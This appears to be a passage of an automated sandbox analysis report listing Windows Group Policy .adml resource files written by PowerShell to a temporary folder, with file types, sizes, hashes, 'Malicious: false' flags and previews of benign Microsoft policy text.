Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions" revision="1.0" schemaVersion="1.0">.. <displayName>Group Policy Preference Policies</displayName>.. <description></description>.. <resources>.. <stringTable>.. <string id="MMC_PrefApplications">Permit use of Application snap-ins</string>.. <string id="MMC_PrefApplications_Explain">This policy setting allows you to permit or prohibit use of Application snap-ins (Application preference item types). When prohibited, no Application preference item types appear when you attempt to create a new Application preference item, and you are unable to do so. This policy setting does not affect existing Application preference items.....If you enable or do not configure this policy setting, you permit use

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Help.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (399), with CRLF line terminators
Category:	dropped
Size (bytes):	5647
Entropy (8bit):	4.726995944697996
Encrypted:	false
SSDEEP:	96:LeD5pmkwXl3Bnrvb+st3rnZay5gok2TyV+EJlNifb/j4mRMFW78v/xvJ9xvJ7V:EG+stjZ3gyIzNiz9MFWAn9np
MD5:	3B1AD1ECF110F12067554FA487C740FD
SHA1:	0EE520F7EC886C23F0A431AA690C851B5EB0C5A2
SHA-256:	8DDB25B03AEAC60067CA82F72EDE2B7EBCEB1E48E196BAD69995C052FD2D2E86
SHA-512:	F16103456D09B6385240E7A30FBC9909F0383D1611B08E9E3EB8407BA97E5F462DF7E127E5B8F04842F4A7F54E71D13C30675906624E41CF012AAA6EE06D8731
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="HelpQualifiedRootDir_Comp">Restrict potentially unsafe HTML Help functions to specified folders</string>.. <string id="HelpQualifiedRootDir_Help">This policy setting allows you to restrict certain HTML Help commands to function only in HTML Help (.chm) files within specified folders and their subfolders. Alternatively, you can disable these commands on the entire system. It is strongly recommended that only folders requiring administrative privileges be added to this policy setting..... If you enable th

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\HelpAndSupport.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3089
Entropy (8bit):	4.757831684112995
Encrypted:	false
SSDEEP:	48:cgeD5J8gmk3TikjDKO5a+A7nQK2N7nCgQ1XlD0J4qXCdCEJaN5Z7aexmFV:LeD5hm4TiADLcXnQvnzUt0JBznFmFV
MD5:	FF9EF4C6BCE28ED5D6C68034CF5FB683
SHA1:	9CD42425C65E031C5D535FD63B8A113FCE81923E
SHA-256:	C121B0C89956299E7EA7212D382E199BDF50F51FE94634740934C56BAC669CAC
SHA-512:	A86DB211B742DA417D886D1C77B22E82B4B25F84C961B7C4ADA3CB64216A35A21DDCD211B50251467E11EA234356516A1245768D5F266DC1F8F346EBC56F2B84
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Online Assistance</displayName>.. <description>Online Assistance</description>.. <resources>.. <stringTable>.. <string id="Assistance">Online Assistance</string>.. <string id="windowscomponents">Windows Components</string>.. <string id="ActiveHelpPolicy_Explain">This policy setting specifies whether active content links in trusted assistance content are rendered. By default, the Help viewer renders trusted assistance content with active elements such as ShellExecute links and Guided Help links.....If you enable this policy setting, active content links are not rendered. The text is displayed, but there are no clickable links for these elements.....If you disable or do not configu

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\ICM.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (543), with CRLF line terminators
Category:	dropped
Size (bytes):	19360
Entropy (8bit):	4.641124398915221
Encrypted:	false
SSDEEP:	384:m7xEdYC8St0ugzNQmh2z31TCIXBtbL+jc98MK1X:zLtk27p1MMK1X
MD5:	17CAE97BBE2A02C66C6FBDD54652B33E
SHA1:	2CCB62039419D7D7D93EA8B04D7A3E587D80DC06
SHA-256:	CAB1DD5C4B264CD58F17F3CD2C16775A7ABF379558F7506DD55FC363CA90C656
SHA-512:	3ACB5C95A38AEB54C4FF0DD0735B6C0FEF4536EA22764455D16A90A0CC8A36655AD5E8E1D964429765818E06A15A90AE7AB4AA3EE556746235FA62C074C0B3C6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="CertMgr_DisableAutoRootUpdates">Turn off Automatic Root Certificates Update</string>.. <string id="CertMgr_DisableAutoRootUpdates_Help">This policy setting specifies whether to automatically update root certificates using the Windows Update website. ....Typically, a certificate is used when you use a secure website or when you send and receive secure email. Anyone can issue certificates, but to have transactions that are as secure as possible, certificates must be issued by a trusted certificate authority (CA)

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\IIS.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (743), with CRLF line terminators
Category:	dropped
Size (bytes):	1408
Entropy (8bit):	4.880333709783744
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61y+kZDqGIZ0DafLMezn6FI2gFV:cgeD5x8gm8fKIZDqGTaYeeFcFV
MD5:	426B83EC085AE7511EF7836624778786
SHA1:	510FB2D8410021336EC73B9757A5E1A85FFA902B
SHA-256:	73B3CBE01F0416F6DE28395E5B9AC286C8149D0F46BAB6AE86B6AC4E58B0F803
SHA-512:	DECBFE7A847491E79F7CAD8AF64CDB650F82424CE657D44D8A8E9CF1BDFA413959DFD79349A88E8050EB6EB0715B4792AA2843E613A914C753A9211A07D2BF18
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="IIS">Internet Information Services</string>.. <string id="PreventIISInstall">Prevent IIS installation</string>.. <string id="PreventIISInstall_Help">"This policy setting prevents installation of Internet Information Services (IIS) on this computer. If you enable this policy setting, Internet Information Services (IIS) cannot be installed, and you will not be able to install Windows components or applications that require IIS. Users installing Windows components or applications that require IIS might not r

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\InetRes.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (592), with CRLF line terminators
Category:	dropped
Size (bytes):	457561
Entropy (8bit):	4.747379761820279
Encrypted:	false
SSDEEP:	3072:4ShXU4YfsUgEI5zZxU6AECqP68pxJXljJX2G439MYe1t8ob:ZMk43i1t8u
MD5:	10590CE50B19C233DDB6EEC95850C5F4
SHA1:	0E8CD5C92654B4655E317521164FE17548AC9284
SHA-256:	9775D601260260CA0BDB805FD89AA5C3C126B8706458404A2405711DFD708647
SHA-512:	9DEC09DF0555B8106AE2D1FE2C6405672A995687EB03B8382D0A23EF36FD273980FC15D4194142107FAFC59A148039BE7DF0FB22A4F9FC1153C06BE04AE4D18A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="11.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="InternetCPL_Advanced_Accessibility">Accessibility</string>.. <string id="InternetCPL_Advanced_International">International</string>.. <string id="InternetCPL_Advanced_Security">Security</string>.. <string id="InternetCPL_Connections">Connections Page</string>.. <string id="InternetCPL_Content">Content Page</string>.. <string id="InternetCPL_Content_Certificates">Certificates</string>.. <string id="InternetCPL_General_Appearance">Appearance</string>.. <string id="InternetCPL_Gener

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\InkWatson.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (309), with CRLF line terminators
Category:	dropped
Size (bytes):	1426
Entropy (8bit):	4.787912997643585
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61y8p/L1u10pKiuruwuNez27BshruwlOALVIVriFV:cgeD5x8gm8fKb2gzp7Be7OA5OOFV
MD5:	386AFC1D42FDA5DA7B89C46B35C02635
SHA1:	44DC5FF2A570253D5AE1C755604DFFE11EF58022
SHA-256:	3930ADC5CC37AC32F2C02C1C3F288CAD45F18DDB232D5226B78E9CF7632014C2
SHA-512:	32AFFF54025D2A4C313228C41DFF6C2858877F5B0341F1950C822021DD2D13F1C6B70A43761EECB204AAB83762FC48BC6548B4D40A3746B5AC11C8240C973786
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="PreventHandwritingErrorReports">Turn off handwriting recognition error reporting</string>.. <string id="PreventHandwritingErrorReports_Explain">Turns off the handwriting recognition error reporting tool.....The handwriting recognition error reporting tool enables users to report errors encountered in Tablet PC Input Panel. The tool generates error reports and transmits them to Microsoft over a secure connection. Microsoft uses these error reports to improve handwriting recognition in future versions of Windows

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\KDC.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (554), with CRLF line terminators
Category:	dropped
Size (bytes):	10440
Entropy (8bit):	4.663520278145665
Encrypted:	false
SSDEEP:	96:LeD5pmaMIjP+dQzot5fZeuGnu9rAEQNsVS3sYgovZ4v/4euVuY9+UDVxgACCmskc:Ep8QzgfZeu1905teYUANOKIk
MD5:	7783B0D4B182BE9230A649D6E8DC56AD
SHA1:	215263A87F861BD2D8263BAD8011C5DDA0357BEB
SHA-256:	DB2F6E21FDB453CD8E67C278038547D12EB5C58C1D0280776670D618AEDED64F
SHA-512:	1B13DB33C12191ECF4687C6DEAF76E4776A10AAB045150C2A85369B0AA5553ECF42524A585A2A33905D1B124C1108FF2CACCDFE9C86D8CBBA89FD37E37F8D996
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>KDC Settings</displayName>.. <description>Configuration settings for the Kerberos Key Distribution Center.</description>.. <resources>.. <stringTable>.. <string id="KDC">KDC</string>.. <string id="forestsearch">Use forest search order</string>.. <string id="forestsearch_explain">This policy setting defines the list of trusting forests that the Key Distribution Center (KDC) searches when attempting to resolve two-part service principal names (SPNs).....If you enable this policy setting, the KDC will search the forests in this list if it is unable to resolve a two-part SPN in the local forest. The forest search is performed by using a glo

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Kerberos.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (840), with CRLF line terminators
Category:	dropped
Size (bytes):	19138
Entropy (8bit):	4.73754316262114
Encrypted:	false
SSDEEP:	384:7atR7siAzz45FWuozQV/hI+DklrjMvJK1ORt:ebksWnzkhI19OL
MD5:	AA29F707B1FE528F5F856EC64E771DAC
SHA1:	6F3F897807668918B8A6F7C4E78B17AA445070F9
SHA-256:	4148DF3125629ABE00141FACEF7519BBDE4D3877067A234F35C0A63B740810F6
SHA-512:	4281194C43BF70E7839FF63107549994D8C89D211317E30557B366C32E30F58505F91AD17E8073869579C6EADA056D8973CD25A489D929FAF796CAE42F5A874E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Kerberos Settings</displayName>.. <description>Configuration settings for the Kerberos authentication protocol.</description>.. <resources>.. <stringTable>.. <string id="kerberos">Kerberos</string>.. <string id="forestsearch">Use forest search order</string>.. <string id="forestsearch_explain">This policy setting defines the list of trusting forests that the Kerberos client searches when attempting to resolve two-part service principal names (SPNs).....If you enable this policy setting, the Kerberos client searches the forests in this list, if it is unable to resolve a two-part SPN. If a match is found, the Kerberos client requests a re

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\LanmanServer.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (552), with CRLF line terminators
Category:	dropped
Size (bytes):	6322
Entropy (8bit):	4.728370721511469
Encrypted:	false
SSDEEP:	96:LeD5pm8qDY/ixB4w28Divg6JR+CfREEM2eYJk2y3XTE68TpwQEOgRVLTMV:E9iUw2c0rUEk2yTEZpBmLg
MD5:	33F09CDADA6D62BAE3F0DC0A3E1A2C2A
SHA1:	62BEEE0D918637A68746741C74244FCF39D1A3FB
SHA-256:	3393D80184E3C251A2E8249C13BBBE99A9045AD37550D8497D960371964BF8B7
SHA-512:	DE12FA4C934B9A56C86FF7405D3DEBE1D8F3B4AB3ACDD419888FF2399FEDCABC42CFAF26EDA458C0B874D052327B1DC7BE8C454AA4DE0CF7C920F590C40C5BF0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Cat_LanmanServer">Lanman Server</string>.. <string id="Lbl_FollowShare">Allow hash publication only for shared folders on which BranchCache is enabled</string>.. <string id="Lbl_DisableOnAllShares">Disallow hash publication on all shared folders</string>.. <string id="Lbl_EnableOnAllShares">Allow hash publication for all shared folders</string>.. <string id="Pol_HashPublication">Hash Publication for BranchCache</string>.. <string id="Pol_HashPublication_Help">This policy setting specifies w

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\LeakDiagnostic.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1590
Entropy (8bit):	4.91680451974178
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKbXSr4eKUsXZ3W5/1n0BsIvFV:LeD5pmnCr4QCW1hCsIvFV
MD5:	FAB2C03A061CF266E4BF99D9AD8410CC
SHA1:	62C30ED88810E558C2C5B29DF833E0B84979F798
SHA-256:	1FAD47D1BCFC5110370B1E428F800DD67B65037C2C029C39355D1F0AF51B4712
SHA-512:	2B49196BE14CD1493F98BB4294D50CE42481D67A02357FD6F26067588B4D19B96D7D6677E5A3B6DA5A99329B7422BD5C257C591CBD6C773E5A106EE47E6A2909
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WdiScenarioCategory">Windows Memory Leak Diagnosis</string>.. <string id="WdiScenarioExecutionPolicy">Configure Scenario Execution Level</string>.. <string id="WdiScenarioExecutionPolicyExplain">This policy setting determines whether Diagnostic Policy Service (DPS) diagnoses memory leak problems.....If you enable or do not configure this policy setting, the DPS enables Windows Memory Leak Diagnosis by default.....If you disable this policy setting, the DPS is not able to diagnose memory leak problems.....

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\LinkLayerTopologyDiscovery.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (460), with CRLF line terminators
Category:	dropped
Size (bytes):	3646
Entropy (8bit):	4.907043755326407
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKIZNW4D5Drf3R5SMxeHJ/LLXdMD5ebqKrf3R5SfxeHJ/LLgX3jqS0:LeD5pmON3ljPep+sqajiep4X3jqSGvV
MD5:	92DBAD98F0E768C7BFE966BD839BB017
SHA1:	DE0047F6E6C1A639102804F0D9081783488BB331
SHA-256:	14DAFF44ECBEC76CDE21CCC68D5558BD6119A5F58C6884B9692B6341EAD643DD
SHA-512:	F74CAACA0D2CE8E4E8702E83E6F077C6BC17BC69CF2BE40698227FE003A7C1291F22D49CB3FEB50A8D418C1083EAE6767474F21AAC7F83A40620F6B461611723
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="LLTD_Category">Link-Layer Topology Discovery</string>.. <string id="LLTD_Category_Help">Configures all Link-Layer Topology Discovery components.</string>.. <string id="LLTD_EnableLLTDIO">Turn on Mapper I/O (LLTDIO) driver</string>.. <string id="LLTD_EnableLLTDIO_Help">This policy setting changes the operational behavior of the Mapper I/O network protocol driver.....LLTDIO allows a computer to discover the topology of a network it's connected to. It also allows a computer to initiate Quality-of-Servic

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\LocationProviderAdm.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1212
Entropy (8bit):	4.9162916170648305
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yYr2XjEEgr2WMb/fLqI2LHIQIeQLUgH7IYLjXr2cE5n:cgeD5x8gm8fKBqTETqRXLqbLoQWLUgbU
MD5:	FE47798FE9B3F4C43E782DF1AF166A87
SHA1:	909EE6F13A9F43305857C64DF1F2B8C91797A60B
SHA-256:	F4EDEF9970D1E3EE016E880537DB88D7B6A3B5ABD142D791FC39D39FC4E1FFA9
SHA-512:	3487FA625323C52C6BB52C09051CE0C5E41A1EAB45448C5471B2378DFDF6E478DF36E3424F08946B6F1C516E795E138CC87166DF81B4D463B5E04166949FE14E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisableWindowsLocationProvider">Turn off Windows Location Provider</string>.. <string id="DisableWindowsLocationProvider_Explain">.. This policy setting turns off the Windows Location Provider feature for this computer..... If you enable this policy setting, the Windows Location Provider feature will be turned off, and all programs on this computer will not be able to use the Windows Location Provider feature..... If you disable or do not configure this policy setting, all programs on this

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Logon.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (587), with CRLF line terminators
Category:	dropped
Size (bytes):	16832
Entropy (8bit):	4.631442685712746
Encrypted:	false
SSDEEP:	384:HD5n9zbzDznNtlY2iFwIcnBJGciF7BZXmhdtP0:nzbzDzn9YPJMGcitzmx0
MD5:	7DEB6528B7BF721DA0BC53B65116E4B2
SHA1:	999291B1970366D2256B0081EBE8420E6519D13E
SHA-256:	CFF8BFAD325C4F3BE418A491D37BB367E126F24EE22FA39C809C83AED6C07033
SHA-512:	BC22B74FF1FEA301961650160914422A5A986B7082C27140817E8ABE0E2720CB9578B8EF637182CBAE5CB7E3AC8481F4E334A815645E3F13A82163A7941FEC61
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="UseOEMBackground">Always use custom logon background</string> .. <string id="UseOEMBackground_Help">This policy setting ignores Windows Logon Background.....This policy setting may be used to make Windows give preference to a custom logon background. ....If you enable this policy setting, the logon screen always attempts to load a custom background instead of the Windows-branded logon background. ....If you disable or do not configure this policy setting, Windows uses the default Windows logon background or cu

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\MMC.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (374), with CRLF line terminators
Category:	dropped
Size (bytes):	4806
Entropy (8bit):	4.701920186548574
Encrypted:	false
SSDEEP:	96:LeD5pmQsFOr1sf4h/p1IXr5KQ6A735FlZ+HQsvYxyOsFV:EsFOriforIkQ6A7zlZ+HvvYxyOsn
MD5:	E7286B16AB9A79A941457D0E5F7AC2D9
SHA1:	7E41AA47B450F332DAC6A9AEE8B1021397ACC90F
SHA-256:	5CE95BDC6780550FAD262390A824CDB07D6B426683FE1E8AFA533D6A47A8E79B
SHA-512:	5BCDA870EF7DCEDA95D4C44B8EDB9DB08BB937D5D5FB07601DE231BA21C7B7902A8D74F6A33352132C0F5D2E84C47E9AE855290444B76EDD6A59792BD8BD67C2
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="MMC">Microsoft Management Console</string>.. <string id="MMC_ActiveXControl">ActiveX Control</string>.. <string id="MMC_ExtendView">Extended View (Web View)</string>.. <string id="MMC_ExtensionSnapins">Extension snap-ins</string>.. <string id="MMC_LinkToWeb">Link to Web Address</string>.. <string id="MMC_RESTRICT">Restricted/Permitted snap-ins</string>.. <string id="MMC_Restrict_Author">Restrict the user from entering author mode</string>.. <string id="MMC_restrict_Author_Explain"

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\MMCSnapIns2.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (332), with CRLF line terminators
Category:	dropped
Size (bytes):	3258
Entropy (8bit):	4.817177716053599
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKqgONUGM7MG1T7yvG/sFO3hsFaSb7AqIAF9dFpgJcJTU8OiFQBeQs:LeD5pmnGCpZ7r/sFgsFaK735Sf/cMeFV
MD5:	181EDEAB7F0FA1FD7DA1D157121386D1
SHA1:	B4F9B4B91FD9D8EFA327E20516DE975892A706F1
SHA-256:	258D9502CBD3B2B6E342D1B705A17A6537865D066BEC2227BD4BD5A4D3E411F9
SHA-512:	99FF5FD5A9E50F1AE843845CC54E616F73DE24270261496087E902AB5AAA286ED9C9A19DCB230857774834DF20AAA2056D052D905F12ACBB338C845BFE8D1B9D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="MMC_StorageManagerForSANSSnapIn">Storage Manager for SANs</string>.. <string id="MMC_StorageManagerForSANSSnapInExtension">Storage Manager for SANS Extension</string>.. <string id="MMC_FileServerResourceManagerSnapIn">File Server Resource Manager</string>.. <string id="MMC_FileServerResourceManagerSnapInExtension">File Server Resource Manager Extension</string>.. <string id="MMC_DiskManagementSnapInExtension">Disk Management Extension</string>.. <string id="MMC_DFSSnapIn">DFS Management</st

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\MMCSnapins.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (333), with CRLF line terminators
Category:	dropped
Size (bytes):	10156
Entropy (8bit):	4.902850417863983
Encrypted:	false
SSDEEP:	192:Eha8zqIFaazk71nt3xuH+6gqb7UFfFaK7Oz/cExtqRACAmn:u2IFWke6gqHBcR9r
MD5:	A30AB3FB1BA97BFD3AD477AD18D0BE28
SHA1:	9175E307ED491957EEB303BC6BEB8F6ABB2EB0FB
SHA-256:	48663270C2B2ED9475692772CBF5B12B635D75FA293E3059F8B81D8B4D02382E
SHA-512:	13DD57C61196B2DAC93F8C4FF602ACEA6644B4DEA08FF96B2770C50EC98CE73A9F9C3CEA3BF29ED7A3E5089474F27653BFBBDFC515FB378965D107DDA252BF0D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="MMC_ActiveDirDomTrusts">Active Directory Domains and Trusts</string>.. <string id="MMC_ActiveDirSitesServices">Active Directory Sites and Services</string>.. <string id="MMC_ActiveDirUsersComp">Active Directory Users and Computers</string>.. <string id="MMC_ADMComputers">Administrative Templates (Computers)</string>.. <string id="MMC_ADMUsers">Administrative Templates (Users)</string>.. <string id="MMC_ADSI">ADSI Edit</string>.. <string id="MMC_AppleTalkRouting">AppleTalk Routing</stri

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\MSDT.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4822
Entropy (8bit):	4.7368864262977635
Encrypted:	false
SSDEEP:	96:LeD5pmtzIVVV78jVqaqGCs1HVVpLg2uw+F8c6mqSaM17CsQe2ce9e2bgzKDB2QSV:EL8jVqaTpCwSfqSaQpQe2c8e2SuS3l
MD5:	CD6F4B94C65A6A5F650EEDCC4108C1F9
SHA1:	BB95196861D768DE33C1A574CD3C3B05DE281B8B
SHA-256:	91692970671C4A0AC5A872A787F7C8D5B7C69BC36503D2815408443EA7B820DB
SHA-512:	41E53997E7FE19552B50DAE9B3E9DDC61289B69DFBD05A837A05E023D67B103DE17BC794CA897BB69DB59CBA6564471C26AD9B0C31811065E98C2270B1D67D5E
Malicious:	false
